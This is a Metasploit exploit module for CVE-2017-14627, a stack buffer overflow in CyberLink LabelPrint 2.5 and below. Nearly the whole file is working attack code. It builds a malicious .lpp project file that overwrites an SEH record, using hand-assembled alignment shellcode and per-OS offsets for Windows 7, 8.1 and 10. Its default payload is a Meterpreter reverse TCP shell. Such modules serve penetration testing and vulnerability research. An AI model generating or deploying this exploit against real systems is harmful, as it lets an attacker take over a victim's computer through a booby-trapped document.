##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
The vulnerability is triggered when opening a .lpp project file containing overly long string characters
via open file menu. This results in overwriting a structured exception handler record and take over the
application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be <tom@spentera.id>', # initial discovery and metasploit module
'f3ci <marie@spentera.id>' # unicode kungfu
],
'References' =>
[
[ 'CVE', '2017-14627' ],
[ 'EDB', '42777' ]
],
'DefaultOptions' =>
{
'FILENAME' => 'msf.lpp',
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Targets' =>
[
['CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)',
{
'Ret' => "\x2c\x44",
'Offset' => 790,
'Padding1' => 857,
'Padding2' => 104
}
],
['CyberLink LabelPrint <= 2.5 on Windows 8.1 x64',
{
'Ret' => "\x2c\x44",
'Offset' => 790,
'Padding1' => 845,
'Padding2' => 116
}
],
['CyberLink LabelPrint <= 2.5 on Windows 10 x64 build 1803',
{
'Ret' => "\x2c\x44",
'Offset' => 790,
'Padding1' => 781,
'Padding2' => 180
}
],
],
'Payload' =>
{
'Space' => 15000,
'DisableNops' => true
},
'DisclosureDate' => 'Sep 23 2017',
'DefaultTarget' => 0))
end
def get_payload(hunter)
enc = framework.encoders.create('x86/unicode_mixed')
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
hunter = enc.encode(hunter, nil, nil, platform)
end
def exploit
nop = "\x42"
junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only)
buffer = ""
buffer << junk * target['Offset']
buffer << "\x61\x42" # nseh
buffer << target['Ret'] # seh
#we need to encode the RET address, since RET (\xc3) is known as bad char.
#preparing address to land the decoded RET
buffer << nop #nop/inc edx
buffer << "\x54" #push esp
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x1B\x01" #add eax 01001B00
buffer << nop #nop/inc edx
buffer << "\x2d\x01\x01" #sub eax 01001000
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << nop #nop/inc edx
buffer << "\x5c" #pop esp
#preparing RET opcode (c300c300)
buffer << nop #nop/inc edx
buffer << "\x25\x7e\x7e" #and eax,7e007e00
buffer << nop #nop/inc edx
buffer << "\x25\x01\x01" #and eax,01000100
buffer << nop #nop/inc edx
buffer << "\x35\x7f\x7f" #xor eax,7f007f00
buffer << nop #nop/inc edx
buffer << "\x05\x44\x44" #add eax,44004400
buffer << nop #nop/inc edx
buffer << "\x57" #push edi as padding, needed to align stack
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << junk * target['Padding1'] #OS specific
#custom venetian to reach shellcode
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x09\x01" #depending OS
buffer << nop #nop/inc edx
buffer << "\x2d\x01\x01" #add eax, 01000100, this will align eax to our buffer
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << nop #nop/inc edx
#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
buffer << "\x5C" #pop esp
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x53\x7c" #add eax 7c005300 part of call esp
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << junk * target['Padding2'] #OS specific
buffer << "\x7b\x32" #part of call esp
#preparing for jump to shellcode, placing in eax.
buffer << junk * 114 #junk
buffer << "\x57" #push edi
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x0A\x01" #depending OS
buffer << nop #nop/inc edx
buffer << "\x2d\x01\x01" #sub eax,01000100
buffer << nop #nop/inc edx
buffer << get_payload(payload.encoded)
buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added.
lpp_data = <<-EOS
<PROJECT version="1.0.00">
<INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">
<TRACK name="#{buffer}" />
</INFORMATION>
</PROJECT>
EOS
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(lpp_data)
end
end
